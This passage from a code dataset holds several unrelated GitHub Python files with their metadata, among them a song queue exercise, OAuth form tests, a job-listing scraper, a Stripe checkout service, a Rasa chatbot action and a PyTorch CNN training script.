y_direction_ok = False\n if used_ways[-1] in (1, 3) and not x_direction_ok:\n remove_way = suitable_ways.index(used_ways[-1])\n suitable_ways.pop(remove_way)\n direction_ok = False\n elif used_ways[-1] in (0, 2) and not y_direction_ok:\n remove_way = suitable_ways.index(used_ways[-1])\n suitable_ways.pop(remove_way)\n direction_ok = False\n else:\n\n direction_ok = True\n\n t.setheading(to_angle)\n t.forward(20)\n update_suitable_ways = []\n for a in used_ways:\n update_suitable_ways.append(opposite_ways[a])\n\n tmp = [x for x in possible_ways if x not in update_suitable_ways]\n tmp.sort()\n suitable_ways[:] = tmp\n\n\nmain()\n\nt.exitonclick()\n","repo_name":"QuinBenson/Udemy_Python","sub_path":"S18D18.164_Turtle_&_GUI_tmp/main old.py","file_name":"main old.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7483857719","text":"# Given an array of songs, of size n, \n# print you are playing the requested songnumber then place \n# it at the end of the queue and print the new queue\n# \n# Question taken from https://www.careercup.com/question?id=6221267277971456 \n# Intended as practice for Google tech questions\n\nsongqueue = ['A','B','C','D','E','F'] # Our pretend playlist\nnumsongs = len(songqueue) # The length of our playlist\ninlist = 0 # A test condition variable\n\nwhile inlist == 0:\n\tprint (\"Select song number\") # Prompt for a songnumber\n\t# Make sure the user entered a number\n\n\ttry :\n\t\tsongnumber = int(input()) # Get the input from the user\n\texcept :\n\t\tprint (\"Please enter the song number, not the song name\")\n\t\tcontinue\n\n\tif songnumber <= numsongs: # Make sure that songnumber is in the range of songs available\n\t\tinlist = 1 # If it is, break out of the loop\n\telse:\n\t\tprint (\"Sorry, that song is not available\") # otherwise tell the user it's not in range\n\t\t\t\t\t\t\t # Stay in while loop\n\nsongname = songqueue[songnumber -1]\nprint (\"Playing song number \" + str(songnumber) + \", entitled \" + str(songname))\n\nsongqueue = songqueue[:(songnumber-1)] + songqueue[songnumber:] \nsongqueue.append(songname)\n\nprint (\"New playlist \" + str(songqueue) )\n","repo_name":"aharring/GMITPyProg2021","sub_path":"Practice/PlayList.py","file_name":"PlayList.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29210481997","text":"import random\n\nfrom maps.poi.notification.lib.ugc_account import get_batch_split\n\n\ndef check_batch_split(size, n_batches):\n # example: get_batch_split(22, 5) == [(0, 5), (5, 10), (10, 15), (15, 20), (20, 22)]\n batches = list(get_batch_split(size, n_batches))\n\n assert len(batches) == n_batches\n\n for batch in batches:\n assert batch[0] <= batch[1]\n\n # check every index belongs to exactly one batch\n for i in range(size):\n assert sum(map(lambda batch: batch[0] <= i < batch[1], batches)) == 1\n\n def length(batch):\n return batch[1] - batch[0]\n\n # check batch sizes are approximetely equal\n for i in range(n_batches - 1):\n assert abs(length(batches[i]) - length(batches[i + 1])) < n_batches\n assert abs(length(batches[0]) - length(batches[-1])) < n_batches\n\n\ndef test_batch_split():\n check_batch_split(1234, 5)\n check_batch_split(1234, 2)\n check_batch_split(1234, 1)\n\n check_batch_split(1, 100)\n check_batch_split(1, 1)\n\n random.seed(42)\n for i in range(100):\n size = random.randint(1, 100)\n n_batches = random.randint(1, 16)\n check_batch_split(size, n_batches)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/General/batch_split_test.py","file_name":"batch_split_test.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12612157033","text":"# pylint: disable=no-member\n\"\"\"\nTests for OAuth token exchange forms\n\"\"\"\n\n\nimport unittest\n\nimport httpretty\nimport social_django.utils as social_utils\nfrom django.contrib.sessions.middleware import SessionMiddleware\nfrom django.test import TestCase\nfrom django.test.client import RequestFactory\nfrom social_django.models import Partial\n\nfrom common.djangoapps.third_party_auth.tests.utils import ThirdPartyOAuthTestMixinFacebook, ThirdPartyOAuthTestMixinGoogle # lint-amnesty, pylint: disable=line-too-long\n\nfrom ..forms import AccessTokenExchangeForm\nfrom .mixins import DOTAdapterMixin\nfrom .utils import TPA_FEATURE_ENABLED, TPA_FEATURES_KEY, AccessTokenExchangeTestMixin\n\n\nclass AccessTokenExchangeFormTest(AccessTokenExchangeTestMixin):\n \"\"\"\n Mixin that defines test cases for AccessTokenExchangeForm\n \"\"\"\n def setUp(self):\n super().setUp()\n self.request = RequestFactory().post(\"dummy_url\")\n redirect_uri = 'dummy_redirect_url'\n SessionMiddleware(get_response=lambda request: None).process_request(self.request)\n self.request.social_strategy = social_utils.load_strategy(self.request)\n # pylint: disable=no-member\n self.request.backend = social_utils.load_backend(self.request.social_strategy, self.BACKEND, redirect_uri)\n\n def tearDown(self):\n super().tearDown()\n Partial.objects.all().delete()\n\n def _assert_error(self, data, expected_error, expected_error_description): # lint-amnesty, pylint: disable=arguments-differ\n form = AccessTokenExchangeForm(request=self.request, oauth2_adapter=self.oauth2_adapter, data=data)\n assert form.errors == {'error': expected_error, 'error_description': expected_error_description}\n\n def _assert_success(self, data, expected_scopes, expected_logged_in_user=None):\n form = AccessTokenExchangeForm(request=self.request, oauth2_adapter=self.oauth2_adapter, data=data)\n assert form.is_valid()\n assert form.cleaned_data['user'] == self.user\n assert form.cleaned_data['client'] == self.oauth_client\n assert set(form.cleaned_data['scope']) == set(expected_scopes)\n\n\n# This is necessary because cms does not implement third party auth\n@unittest.skipUnless(TPA_FEATURE_ENABLED, TPA_FEATURES_KEY + \" not enabled\")\n@httpretty.activate\nclass DOTAccessTokenExchangeFormTestFacebook(\n DOTAdapterMixin,\n AccessTokenExchangeFormTest,\n ThirdPartyOAuthTestMixinFacebook,\n TestCase,\n):\n \"\"\"\n Tests for AccessTokenExchangeForm used with Facebook, tested against\n django-oauth-toolkit (DOT).\n \"\"\"\n pass # lint-amnesty, pylint: disable=unnecessary-pass\n\n\n# This is necessary because cms does not implement third party auth\n@unittest.skipUnless(TPA_FEATURE_ENABLED, TPA_FEATURES_KEY + \" not enabled\")\n@httpretty.activate\nclass DOTAccessTokenExchangeFormTestGoogle(\n DOTAdapterMixin,\n AccessTokenExchangeFormTest,\n ThirdPartyOAuthTestMixinGoogle,\n TestCase,\n):\n \"\"\"\n Tests for AccessTokenExchangeForm used with Google, tested against\n django-oauth-toolkit (DOT).\n \"\"\"\n pass # lint-amnesty, pylint: disable=unnecessary-pass\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/auth_exchange/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"72403410961","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# Author: kerwin.cn@gmail.com\r\n# Created Time:2017-06-17 15:27:06\r\n# Last Change: 2017-06-17 20:25:46\r\n# File Name: learn2.py\r\n\r\n# 直接在画布中画图形。\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.lines import Line2D\r\nimport numpy as np\r\n\r\n# 数据\r\nx = np.linspace(0, 10, 1000)\r\ny = np.sin(x)\r\nz = np.cos(x**2)\r\n\r\n# 创建Figure对象\r\n# 用Figure对象创建一个或者多个Axes或者Subplot对象\r\n# 调用Axies等对象的方法创建各种简单类型的Artists\r\n\r\nfig = plt.figure()\r\n# ax = fig.add_axes([0.15, 0.1, 0.7, 0.3])\r\nl1 = Line2D([0, 1], [0, 1], figure=fig,color='r')\r\nl2 = Line2D([0, 1], [1, 0], figure=fig)\r\nfig.lines.extend([l1, l2])\r\n\r\n# 显示啦, 这个显示不成功，一闪而过。\r\nfig.show()\r\n","repo_name":"kerwinxu/Kerwin_C_Compiler","sub_path":"python/Learn/learn_matplotlib/learn6.py","file_name":"learn6.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"44106833048","text":"# Decision Trees and Random Forests\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.ensemble import RandomForestClassifier\n\nif __name__ == \"__main__\":\n # Read Data\n df = pd.read_csv(\"Decision Trees/kyphosis.csv\")\n\n # See relations\n sns.pairplot(df, hue=\"Kyphosis\")\n plt.show()\n\n # Train / test\n x = df.drop(\"Kyphosis\", axis=1)\n y = df[\"Kyphosis\"]\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3)\n\n # Classify in decision tree\n print(\"Decision Tree:\")\n dtree = DecisionTreeClassifier()\n dtree.fit(x_train, y_train)\n dtree_pred = dtree.predict(x_test)\n print(confusion_matrix(y_test, dtree_pred))\n print()\n print(classification_report(y_test, dtree_pred))\n\n # Random forest\n print(\"Random Forest:\")\n rfc = RandomForestClassifier(n_estimators=200)\n rfc.fit(x_train, y_train)\n rfc_pred = rfc.predict(x_test)\n print(confusion_matrix(y_test, rfc_pred))\n print()\n print(classification_report(y_test, rfc_pred))","repo_name":"dominiceggerman/PythonWork","sub_path":"Decision Trees/treesAndForests.py","file_name":"treesAndForests.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21787838562","text":"import numpy as np\n\n\nclass TableCalibrate:\n\n def __init__(self, port, tower, touch_probe):\n self.port = port\n self.tower = tower\n self.Tp = touch_probe\n self.A = np.eye(3)\n self.table_zero = np.zeros(3)\n self.table_coords = np.zeros(3)\n self.last_pos = np.zeros(3)\n\n def special_move_to(self, **args): # в абсолютных координатах принтера\n command = {'cmd': 'G0'}\n command.update(args)\n for commands_for_mega in self.tower.move_to(command):\n self.port.send(*commands_for_mega)\n self.port.get()\n\n def get_point(self, dx, dy, dz):\n x = self.tower.x\n y = self.tower.y\n z = self.tower.z\n while True:\n x = x + dx if dx != 0 else x\n y = y + dy if dy != 0 else y\n z = z + dz if dz != 0 else z\n self.special_move_to(X=x, Y=y, Z=z)\n if self.Tp.isTouched():\n self.special_move_to(X=x-dx, Y=y-dy, Z=z-dz)\n break\n re_par = self.Tp.get_point() # возвращает точку касания\n\n return re_par\n\n \"\"\"\n Предполагается, что датчик касания смещен в плостости ХУ и выше по Z.\n point передает координаты, как будто бы в точке качания сопло.\n \"\"\"\n\n def transform_matrix_creation(self):\n print(self.Tp.isTouched)\n self.Tp.up_prob()\n print(self.Tp.isTouched)\n self.special_move_to(Z=420)\n self.table_zero = self.get_point(0, 0, 0.1)\n self.special_move_to(Z=420)\n self.special_move_to(X=200)\n point1 = self.get_point(0, 0, 0.1)\n self.special_move_to(Z=420)\n self.special_move_to(X=-10, Y=-30)\n point2 = self.get_point(0, 0, 0.1)\n self.special_move_to(Z=420)\n self.Tp.down_prob()\n\n axis_x = point1 - self.table_zero\n axis_y = point2 - self.table_zero\n axis_y = axis_y - (\n (axis_y @ axis_x) / (axis_x @ axis_x)) * axis_x # ортогонализация axis_y по отношению к axis_x\n axis_x = axis_x * (1 / np.linalg.norm(axis_x))\n axis_y = axis_y * (1 / np.linalg.norm(axis_y))\n\n axis_z = np.cross(axis_x, axis_y)\n\n self.A[0, 0] = axis_x[0]\n self.A[1, 0] = axis_x[1]\n self.A[2, 0] = axis_x[2]\n self.A[0, 1] = axis_y[0]\n self.A[1, 1] = axis_y[1]\n self.A[2, 1] = axis_y[2]\n self.A[0, 2] = axis_z[0]\n self.A[1, 2] = axis_z[1]\n self.A[2, 2] = axis_z[2]\n\n self.special_move_to(X=self.table_zero[0], Y=self.table_zero[1], Z=self.table_zero[2])\n self.last_pos = np.zeros(3)\n\n def transform_command(self, command):\n if command.get('X') is not None:\n self.last_pos[0] = command['X']\n self.table_coords[0] = command['X']\n else:\n self.table_coords[0] = self.last_pos[0]\n\n if command.get('Y') is not None:\n self.last_pos[1] = command['Y']\n self.table_coords[1] = command['Y']\n else:\n self.table_coords[1] = self.last_pos[1]\n\n if command.get('Z') is not None:\n self.last_pos[2] = command['Z']\n self.table_coords[2] = command['Z']\n else:\n self.table_coords[2] = self.last_pos[2]\n\n changed_command = self.table_zero + self.A @ self.table_coords\n\n command['X'] = changed_command[0]\n command['Y'] = changed_command[1]\n command['Z'] = changed_command[2]\n\n def invert_transform(self, absolute_coord):\n inv_A = np.linalg.inv(self.A)\n table_coord = inv_A.dot(absolute_coord-self.table_zero)\n return table_coord\n","repo_name":"quetalasj/RoboPrint","sub_path":"Code/server/calibration_table.py","file_name":"calibration_table.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3120188223","text":"# !/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\n\nfrom extractor.extractor import Extractor\n\nfrom extractor.feature.frequency_event import FrequencyEvent\nfrom extractor.feature.fraction_spent import FractionSpent\nfrom extractor.feature.speed_playback import SpeedPlayback\nfrom extractor.feature.count_unique_element import CountUniqueElement\n\n'''\nLemay, D. J., & Doleck, T. (2020). Grade prediction of weekly assignments in MOOCS: mining video-viewing behavior.\nEducation and Information Technologies, 25(2), 1333-1342.\n'''\n\nclass LemayDoleck(Extractor):\n\n def __init__(self, name='base'):\n super().__init__(name)\n self.name = 'lemay_doleck'\n\n def extract_features(self, data, settings):\n self.features = [FractionSpent(data, {**settings, **{'type': 'Video.Play', 'mode': 'ratio_duration'}}),\n FractionSpent(data, {**settings, **{'type': 'Video.Pause', 'mode': 'ratio_played'}}),\n FractionSpent(data, {**settings, **{'type': 'Video.Play', 'mode': 'completed'}}),\n FractionSpent(data, {**settings, **{'type': 'Video.Play', 'mode': 'spent'}}),\n FrequencyEvent(data, {**settings, **{'mode': 'total', 'type': 'Video.Pause'}}),\n FrequencyEvent(data, {**settings, **{'mode': 'total', 'type': 'Video.SeekBackward'}}),\n FrequencyEvent(data, {**settings, **{'mode': 'total', 'type': 'Video.SeekForward'}}),\n SpeedPlayback(data, {**settings, **{'ffunc': np.mean}}),\n SpeedPlayback(data, {**settings, **{'ffunc': np.std}}),\n CountUniqueElement(data, {**settings, **{'type': 'video'}})]\n\n features = [f.compute() for f in self.features]\n assert len(features) == self.__len__()\n return features\n","repo_name":"epfl-ml4ed/flipped-classroom","sub_path":"extractor/set/lemay_doleck.py","file_name":"lemay_doleck.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"28772162634","text":"\nfrom typing import Any, Text, Dict, List\nfrom rasa_sdk import Action, Tracker\nfrom rasa_sdk.executor import CollectingDispatcher\nfrom rasa_sdk.events import SlotSet\nfrom weather import Weather\n\n\nclass ActionSearchSuggest(Action):\n#\n def name(self) -> Text:\n return \"actions_search_suggest\"\n\n def run(self, dispatcher: CollectingDispatcher,\n\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n import gspread\n from oauth2client.service_account import ServiceAccountCredentials\n scope = ['https://www.googleapis.com/auth/drive']\n\n credentials = ServiceAccountCredentials.from_json_keyfile_name('gsconfig.json' , scope)\n\n client = gspread.authorize(credentials)\n\n sheet = client.open('rasatest').sheet1\n data = sheet.get_all_records()\n\n response = \"Ok, Here you go \\n Is it a) \" + data + \"?\"\n \n dispatcher.utter_message(response)\n \n print(tracker.events)\n \n dispatcher.utter_message(text='Here are your search results')\n return[]\n\nclass ActionWeatherApi(Action):\n\n def name(self) -> Text:\n return \"action_weather_api\"\n\n def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n city=tracker.latest_message['text']\n temp=int(Weather(city)['temp']-273)\n dispatcher.utter_template(\"utter_temp\",tracker,temp=temp)\n\n return []","repo_name":"vigneshsabapathi/rasax_tg","sub_path":"actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5330975391","text":"\nfrom flask import request, jsonify\nfrom flask_jwt_extended import get_jwt_identity, create_access_token\nimport app\nimport os\nimport stripe\n\nstripe.api_key = os.getenv(\"STRIPE_API_KEY_PUBLICA\")\n\nclass CheckoutService:\n @staticmethod\n def create_checkout_session(user_email, user_address, product_id, amount, currency='eur', success_url='', cancel_url=''):\n session = stripe.checkout.Session.create(\n payment_method_types=['card'],\n customer_email=user_email,\n line_items=[{\n 'price': product_id,\n 'quantity': 1,\n }],\n mode='payment',\n success_url=success_url,\n cancel_url=cancel_url,\n billing_address_collection='required',\n shipping_address_collection={\n 'allowed_countries': ['ES'] # Restrict shipping address to specific countries if needed\n },\n metadata={\n 'user_address': user_address,\n },\n payment_intent_data={\n 'amount': amount,\n 'currency': currency,\n }\n )\n return session\n\n @staticmethod\n def generate_payment(session_id, amount, currency='eur'):\n payment_intent = stripe.PaymentIntent.create(\n payment_method_types=['card'],\n amount=amount,\n currency=currency,\n description='Payment description',\n setup_future_usage='off_session',\n confirm=True,\n payment_method_options={\n 'card': {\n 'request_three_d_secure': 'automatic'\n }\n },\n customer=session_id\n )\n return payment_intent\n","repo_name":"AndyMelR/Bocagua-ecommerce","sub_path":"src/api/service/checkout_service.py","file_name":"checkout_service.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1976943437","text":"# 코딩테스트 연습 / 연습문제 / 가장 긴 팰린드롬\n# 실패 \n\ndef solution(s):\n answer = 1 \n for i in range(len(s)): \n for j in range(i,len(s)+1): \n if s[i:j] == s[i:j][::-1]: \n answer = max(answer, len(s[i:j])) \n return answer","repo_name":"whitem4rk/2023-algorithm-study","sub_path":"LEVEL 3/pelindrome.py","file_name":"pelindrome.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8071937366","text":"#!/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport http.client\nimport html.parser\nimport copy\nimport json\n\n\nclass IndeedParser(html.parser.HTMLParser):\n def __init__(self, *kwargs):\n self.offer_entries = []\n self.offer_entry = None\n self.data_handler = None\n self.starttag_handlers = {\"div\": self.handle_startdiv,\n \"a\": self.handle_starta,\n \"span\": self.handle_startspan}\n self.next_starthandler = None\n self.next_pages = []\n self.is_handling_data = False\n super().__init__()\n\n def handle_endtag(self, tag):\n if tag == \"span\" and self.is_handling_data is True:\n self.is_handling_data = False\n self.data_handler = None\n\n def handle_starttag(self, tag, attrs):\n if tag in self.starttag_handlers:\n self.starttag_handlers[tag](dict(attrs))\n elif self.next_starthandler is not None:\n self.next_starthandler(tag, dict(attrs))\n self.next_starthandler = None\n\n def handle_startdiv(self, attrs):\n if \"class\" in attrs:\n classes = attrs[\"class\"].split()\n if len(classes) > 0 and classes[0] == \"row\" and \\\n classes[1] == \"result\":\n self.offer_entry = {}\n self.offer_entries.append(self.offer_entry)\n\n def handle_starta(self, attrs):\n if \"itemprop\" in attrs and attrs[\"itemprop\"] == \"title\" and \\\n \"data-tn-element\" in attrs and \\\n attrs[\"data-tn-element\"] == \"jobTitle\" and \\\n \"href\" in attrs and \"title\" in attrs:\n self.offer_entry[\"link\"] = \"http://www.indeed.fr\" + attrs[\"href\"]\n self.offer_entry[\"title\"] = attrs[\"title\"]\n elif \"href\" in attrs and \\\n attrs[\"href\"].startswith(\"/emplois?q=informatique&l=Rennes+%2835%29&radius=5&jt=internship&sort=date&start=\") and not \\\n attrs[\"href\"].endswith(\"&pp=\"):\n self.next_pages.append(attrs[\"href\"])\n\n def handle_startspan(self, attrs):\n if \"itemprop\" in attrs:\n if attrs[\"itemprop\"] == \"name\":\n self.data_handler = self.handle_organisation\n elif attrs[\"itemprop\"] == \"description\":\n self.data_handler = self.handle_summary\n self.is_handling_data = True\n\n def handle_data(self, data):\n if self.data_handler is not None:\n self.data_handler(data)\n if self.is_handling_data is False:\n self.data_handler = None\n\n def handle_organisation(self, data):\n self.offer_entry[\"organisation\"] = data.replace(\"\\n\", \"\").strip()\n\n def handle_summary(self, data):\n if \"summary\" not in self.offer_entry:\n self.offer_entry[\"summary\"] = data\n else:\n self.offer_entry[\"summary\"] = self.offer_entry[\"summary\"] + data\n\n\ndef parse_indeed_offers():\n offer_entries = []\n parser = IndeedParser()\n url = \"/emplois?q=informatique&l=Rennes+(35)&radius=5&jt=internship&sort=date\"\n indeed_connection = http.client.HTTPConnection(\"www.indeed.fr\")\n indeed_connection.connect()\n indeed_connection.request(\"GET\", url)\n indeed_response = indeed_connection.getresponse()\n parser.feed(indeed_response.read().decode(\"utf-8\"))\n indeed_connection.close()\n next_urls = copy.deepcopy(parser.next_pages)\n offer_entries = offer_entries + parser.offer_entries\n for next_url in next_urls:\n parser = IndeedParser()\n indeed_connection = http.client.HTTPConnection(\"www.indeed.fr\")\n indeed_connection.connect()\n indeed_connection.request(\"GET\", next_url)\n indeed_response = indeed_connection.getresponse()\n if indeed_response.getcode() == 301:\n actual_url = indeed_response.getheader(\"Location\")\n indeed_connection.close()\n if actual_url is None:\n continue\n indeed_connection = http.client.HTTPConnection(\"www.indeed.fr\")\n indeed_connection.connect()\n indeed_connection.request(\"GET\", actual_url)\n indeed_response = indeed_connection.getresponse()\n page = indeed_response.read().decode(\"utf-8\")\n parser.feed(page)\n indeed_connection.close()\n offer_entries = offer_entries + parser.offer_entries\n return offer_entries\n\n\ndef indeed_offers_to_json():\n return json.dumps(parse_indeed_offers())\n\nif __name__ == \"__main__\":\n print(indeed_offers_to_json().encode(\"utf-8\"))\n","repo_name":"elominp/internship_offers_search","sub_path":"lib/indeed.py","file_name":"indeed.py","file_ext":"py","file_size_in_byte":4575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73870113042","text":"\"\"\" Simulated Annealing\n Tipo: Baseada em Soluções Completas -> Busca Local\n Precisa de Estado Inicial : Nao\n Hiperparametros:\n t: temperatura inicial\n alfa: taxa de queda de temperatura\n min_t: temperatura mínima (critério de parada)\n num_iter: numero de iterações por temperatura\n\"\"\"\nimport random as rand\nimport time\n\nfrom problema.clustering import Clustering\nfrom problema.utils import generate_labels_nbhood\n\ndef simulated_annealing(problema: Clustering, k, t, alfa, num_iter, min_t, tempo = 1.):\n \"\"\"Pertuba o estado atribuindo uma label diferente a um ponto aleatório\n \"\"\"\n start = time.process_time()\n end = 0\n num_obs = len(problema.data)\n\n opt_state = problema.generate_initial_centroids(k)\n\n aux_state = opt_state.copy()\n\n while t > min_t and (end-start) < tempo:\n aux_labels = problema.assign_clusters(aux_state) [0]\n nbhood = generate_labels_nbhood(aux_labels, k)\n for _ in range(num_iter):\n nb_labels = aux_labels.copy()\n rand_index = rand.randrange(num_obs)\n nb_labels[rand_index] = nbhood[rand_index]\n\n # Retorna se o vizinho foi aceito, e o estado dele\n nb_accepted, nb_state = problema.accept_neighbour(aux_state, nb_labels, k, t)\n\n if nb_accepted:\n aux_state = nb_state.copy()\n aux_labels = problema.assign_clusters(aux_state)[0]\n nbhood = generate_labels_nbhood(aux_labels, k)\n\n if (problema.best_state([aux_state, opt_state]) == aux_state).all():\n opt_state = aux_state.copy()\n\n end = time.process_time()\n\n t = t*alfa\n\n return opt_state, end-start\n","repo_name":"gabrielcipriano/trabalho-IA-2020-2","sub_path":"heuristics/simulated_annealing.py","file_name":"simulated_annealing.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6165112202","text":"from functools import wraps\n\ndef memoize(func):\n ''' Stores the results of function calls in a dictionary. '''\n cache = {}\n @wraps(func)\n def _memoize(*args, **kw):\n key = (args, frozenset(kw.items()))\n if key in cache:\n return cache[key]\n val = func(*args, **kw)\n cache[key] = val\n return val\n return _memoize\n\n__all__ = ['memoize']\n","repo_name":"zelaznik/decorators","sub_path":"memoize.py","file_name":"memoize.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5546713483","text":"import persistence.assurance_persistence as commons_assurance_service\nimport commons.commons_utilitaire as commons_utilitaire\nfrom bottle import get, post, put, delete, request, response, hook\nfrom json import dumps\nfrom entities.assurance import Assurance\n\nassurance_service = commons_assurance_service.AssurancePersistence(Assurance)\ninvalid_parameters = \"Invalid parameters\"\n\n\n@get('/api/v1/assurances')\ndef get_all():\n response.status = 200\n assurances = assurance_service.find_all()\n if assurances is None:\n response.status = 404\n return dumps(assurances, default=commons_utilitaire.jdefault)\n\n\n@get('/api/v1/assurances/')\ndef get_by_id(assurance_id):\n response.status = 200\n assurance = assurance_service.find_by_id(assurance_id)\n if assurance is None:\n response.status = 404\n return dumps(assurance, default=commons_utilitaire.jdefault)\n\n\n@post('/api/v1/assurances')\ndef create_assurance():\n try:\n assurance = commons_utilitaire.get_record_from_body(request, Assurance)\n response.status = 201\n return dumps(commons_assurance_service.create(assurance), default=commons_utilitaire.jdefault)\n except TypeError:\n return commons_utilitaire.error_handler(400, invalid_parameters, response)\n\n\n@put('/api/v1/assurances')\ndef update_assurance():\n try:\n response.status = 200\n assurance = commons_utilitaire.get_record_from_body(request, Assurance)\n result = commons_assurance_service.update(assurance)\n except TypeError:\n return commons_utilitaire.error_handler(400, invalid_parameters, response)\n if not result:\n return commons_utilitaire.error_handler(404, \"identifiant not find\", response)\n\n\n@delete('/api/v1/assurances/')\ndef delete_assurance(assurance_id):\n try:\n response.status = 200\n result = commons_assurance_service.delete_by_id(assurance_id)\n except TypeError:\n return commons_utilitaire.error_handler(400, invalid_parameters, response)\n if not result:\n return commons_utilitaire.error_handler(404, \"identifiant not find\", response)","repo_name":"logorn/demo-python","sub_path":"rest/assurance_ressource.py","file_name":"assurance_ressource.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17363996301","text":"# 알파벳이 한개만 다른 단어를 word에서 찾아서 변환\n# 변환과정을 거쳐서 target 단어로 바꾸면됨\n# 다만 최단방법을 찾자 -> 최단이니까 bfs를 떠올려보기\nfrom queue import Queue\n\n\ndef bfs(begin, target, words):\n visited = []\n que = Queue()\n que.put((begin, 0))\n visited.append(begin)\n\n while que.qsize() > 0:\n now = que.get()\n now_word = now[0]\n now_len = now[1]\n print(now)\n\n if now_word == target:\n return now_len\n\n for i in range(len(words)):\n word = words[i]\n\n if word == now_word or word in visited:\n continue\n\n else:\n diff = 0\n print({\"word\": word, \"now\": now_word, \"now_len\": len(now_word)})\n for j in range(len(word)):\n if word[j] != now_word[j]:\n diff += 1\n\n if diff == 1:\n que.put((word, now_len+1))\n visited.append(word)\n\n return 0\n\n\ndef solution(begin, target, words):\n answer = bfs(begin, target, words)\n return answer\n\n\nif __name__ == '__main__':\n wordList = [\"hot\", \"dot\", \"dog\", \"lot\", \"log\", \"cog\"]\n output = solution(\"hit\", \"cog\", wordList)\n print(output)\n","repo_name":"MINJU-KIMmm/EFUB-Algorithm-Challenge","sub_path":"siyeonkm/src/PGS/DFS&BFS/P43163.py","file_name":"P43163.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40162295060","text":"# Написать метод/функцию, который/которая на вход принимает число (int),\n# а на выходе выдает слово “компьютер” в падеже, соответствующем указанному количеству.\n# Например, «25 компьютеров», «41 компьютер», «1048 компьютеров».\n\n# Решил примерно за 15 минут\n\ndef f(n):\n if 10 < n % 100 < 20:\n return \"компьютеров\"\n elif n % 10 == 0 or 4 < n % 10 < 10:\n return \"компьютеров\"\n elif n % 10 == 1:\n return \"компьютер\"\n elif 1 < n % 10 < 5:\n return \"компьютера\"\n\n\nprint(f(25))\nprint(f(41))\nprint(f(1048))\n","repo_name":"Pakhomov-AV/Hotels","sub_path":"task3/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42567725415","text":"import pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.utils.data as Data\nimport torchvision\n\nimport matplotlib.pyplot as plt\n\nfrom torch.utils.data import Dataset, DataLoader\n\nEPOCH = 100\nBATCH_SIZE = 100\nLR = 0.001\nDOWNLOAD_MNIST = False\n\nBEST_VALID_ACC=0.0\n\nclass mydataset(Dataset):\n def __init__(self,filename='ML-sketch/train_data.pkl',transform=torchvision.transforms.ToTensor()) :\n self.dataset=pd.read_pickle(filename)\n self.transform = transform\n def __len__(self):\n return len(self.dataset['X'])\n def __getitem__(self, index):\n fig=self.dataset['X'][int(index)]\n fig=self.transform(fig)\n return fig,(self.dataset['Y'][int(index)])\n def data(self):\n return self.transform(self.dataset['X'])\n def target(self):\n return self.dataset['Y']\n\ntrain_data=mydataset(filename='npydata/train_data.pkl')\ntrain_loader = Data.DataLoader(dataset=train_data, batch_size=BATCH_SIZE, shuffle=True)\nvalid_data=mydataset(filename='npydata/valid_data.pkl')\ntest_data=mydataset(filename='npydata/test_data.pkl')\nvalid_loader=Data.DataLoader(dataset=valid_data,batch_size=BATCH_SIZE, shuffle=True)\ntest_loader=Data.DataLoader(dataset=test_data,batch_size=BATCH_SIZE, shuffle=True)\n\nclass CNN(nn.Module):\n def __init__(self):\n super(CNN, 